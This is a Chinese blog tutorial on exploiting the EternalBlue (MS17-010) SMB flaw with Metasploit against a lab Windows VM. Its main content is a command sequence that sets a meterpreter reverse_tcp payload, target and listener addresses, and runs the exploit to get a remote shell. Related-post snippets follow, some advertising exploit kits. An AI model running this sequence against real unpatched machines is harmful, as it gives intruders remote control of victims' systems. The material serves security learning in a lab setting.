msf攻击----永恒之蓝

已于 2023-12-26 17:19:03 修改
阅读量514 收藏 7
点赞数 9
分类专栏： 网工基础 文章标签： 安全 linux 运维
于 2023-12-26 17:17:35 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_65150735/article/details/135219932
版权

一，安装靶机

需要在VMware中安装Windows10以下的系统作为靶机

Windows系统镜像下载站 (itellyou.cn)

二，使用模块

kali切换至root用户

sudo su

输入msfconsole打开msf6

msfconsole

搜索永恒之蓝（编号ms17_010）

search ms17_010

exploit 表示利用脚本攻击

auxiliary 表示检测漏洞的存在

三，设置必选项

选择模块（代号）

use 0

或者 （全称）

use exploit/windows........

查看设置

show options或者options

其中payload表示攻击载荷，攻击流程中起核心作用。一般都是默认的windows/x64/meterpreter/reverse_tcp，如果不是则要设置

set payload windows/x64/meterpreter/reverse_tcp

RHOSTS ，靶机的ip地址 

LHOST，监听的地址，即kali的ip地址。输入ifconfig可以查看，其中eth0表示以太网

LPORT，tcp逻辑端口0---65535，只要未被占用就可以随意设置

四，运行模块

攻击机（kali）与攻击对象（Windows10以下）必须处于同一个局域网内

打开准备好的Window系统，打开命令行输入ipconfig查看本机的ip地址

利用攻击机ping靶机的ip地址： ping 192.168.32.129 （一定要是自己靶机的地址）

如果靶机ip地址能ping通则设置为RHOSTS

set RHOSTS 192.168.32.129

然后输入run命令，等待payload打出去获取到靶机权限 

出现meterpreter表示得到靶机后渗透权限，即攻击成功

无泡汽水
关注
  • 9
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
kail环境下msf框架攻击ms17-010（永恒之蓝）漏洞演示
weixin_46447549的博客
04-23 7238
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录前言前言实验目的实验环境实验步骤1.引入库2.读入数据总结 前言 提示：这里可以添加本文要记录的大概内容： 例如：随着人工智能的不断发展，机器学习这门技术也越来越重要，很多人都开启了学习机器学习，本文就介绍了机器学习的基础内容。 提示：以下是本篇文章正文内容，下面案例可供参考 前言 MS17-010（永恒之蓝）是一种操作系统漏洞，他的爆发源于WannaCry勒索病毒的诞生。该病毒是不法分子利用NSA（National Secu.
永恒之蓝漏洞攻击
qq_54250695的博客
05-16 2070
使用方法 进入框架：msfconsole 使用sear kali ip： 采用nat的桥接模式： 保证kali和win7能够通信 nmap -sS -A win7ip (查看攻击对象win7所开放的所有端口） msfconsole （启动渗透框架） search ms17_010 (查看ms17_010模块工具） 选择攻击模块: use exploit/windows/smb/ms17_010_e...
kali通过msf利用永恒之蓝攻击服务器
songling515010475的专栏
04-30 5702
1、通过命令“msfconsole”启动msf，或者通过菜单启动msf msf模块说明： exploits：攻击模块，利用发现的安全漏洞或配置弱点对远程目标系统进行攻击，从而获得对远程目标系统访问权限 的代码组件。 auxiliary：辅助模块，为渗透测试信息搜集提供了大量的辅助模块支持，如负责扫描、收集、嗅探、指纹识别、口令猜测等。 payloads：攻击载荷模块，攻击成功后促使靶机运行的一段植入代码。 post：后渗透攻击模块，收集更多信息或进一步访问被利用的目标系统。 encoders
Kali--MSF-永恒之蓝详解（复现、演示、远程、后门、加壳、修复）
Innocence_0的博客
02-26 1914
永恒之蓝（EternalBlue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日，不法分子通过改造“永恒之蓝”制作了wannacry程序，使全世界大范围内遭受了该程序，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。为了维持操作系统的安全，我们能做到的是及时更新，安装补丁，关闭不必要的服务和端口。
php-msf源码详解
10-18
主要介绍了php-msf源码的意思以及用法相关问题，有需要的朋友跟着参考学习下吧。
CVE-2018-8897
08-01
CVE-2018-8897 Exp, 我在Windows 2008 R2 测试成功1次，失败3次，其他系统没有测试过
CVE-2019-0708RDP MSF攻击套件.rar
11-14
CVE-2019-0708RDP MSF攻击套件亲测可用，欢迎下载
rtk_sensor_damagezfw_rtk_ROS_gpsrtkros_msf-ekf_
09-30
"rtk_sensor_damagezfw_rtk_ROS_gpsrtkros_msf-ekf_"这个标题暗示了我们正在讨论一个与RTK相关的ROS（Robot Operating System）驱动程序，它可能涉及到了一些关键组件和技术。 首先，"RTK"是Real-Time Kinematic的...
php-msf-demo
04-29
下载项目git clone https://github.com/pinguo/php-msf-demo.git# Step2. 安装docker镜像构建开发环境.进入项目目录sh build.sh# Step3. 参考Step2输出的信息,使用ssh或者exec进入容器, 到达项目根目录, 安装依赖...
msf渗透测试学习-与永恒之蓝漏洞案例
weixin_49349476的博客
06-08 4590
MSF是Metasploit Framework的缩写，是一款广泛使用的渗透测试工具，具有强大的攻击功能。它提供了一个模块化的平台，通过将各种攻击载荷、漏洞利用和辅助工具组装在一起，可用于模拟各种攻击，测试系统安全性，也可以用于执行红队实战训练、漏洞挖掘等工作。
kali 利用msf通过win7永恒之蓝漏洞获取权限
Snakewood的博客
10-06 7726
kali 利用msf通过win7永恒之蓝漏洞获取权限 老师留的信息安全课大作业：要通过漏洞来实现原本权限做不到的事 本菜狗就选了永恒之蓝漏洞来应付下，也是第一次搞这种网安类型的实验，下面正文的描述中应该有不少错误，还请各位大佬多包含！好久没有写过博客记录自己的学习了，今天顺手也记录一下。 Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞，恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索
Msfconsole使用永恒之蓝入侵Win7并上传执行可执行文件
简介
04-30 2713
我昨天我测试了，没成功所以SSH爆破先不写了，我已经把永恒之蓝漏洞玩明白了，这回是采用实战的方式进行入侵。提示：以下是本篇文章正文内容，下面案例可供参考本文就是讲解远程控制并执行文件。
记录一次永恒之蓝（ms17-010）漏洞攻击 【后附msf常用命令】
向安全进发的博客
03-28 3865
永恒之蓝是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。#执行一个已有的模块，这里要说的是输入run后按两下tab，会列出所有的已有的脚本，常用的有。
msf复现永恒之蓝漏洞ms17-010（详解）
m0_72125469的博客
05-18 1422
背景：永恒之蓝（Eternal Blue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
MSF从0到永恒之蓝
最新发布
weixin_73865435的博客
04-04 1721
使用MSF框架从0到永恒之蓝
记一次靶场搭建与渗透测试
qq_41513009的博客
05-12 1151
没办法，大海捞针，测试一下这个CVE：CVE-2020-1472（https://github.com/SecuraBV/CVE-2020-1472）然后利用工具：https://github.com/shack2/javaserializetools/releases，尝试利用这个漏洞：https://github.com/dirkjanm/CVE-2020-1472，成功置空DC密码。存在cve-2016-0638，存在cve-2017-10271，存在cve-2017-3506等。
学习日记1：用msf工具利用永恒之蓝漏洞攻击靶机
weixin_50888597的博客
09-29 2677
kali学习之用虚拟机创建win7系统用msf工具攻击
msf永恒之蓝攻击win10
09-01
然而，永恒之蓝攻击模块(`ms17_010_eternalblue`)并不直接支持对Windows 10系统的攻击。永恒之蓝主要是针对Windows 7和Windows Server 2008 R2系统进行攻击的。 如果你想在Metasploit Framework中使用永恒之蓝攻击...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值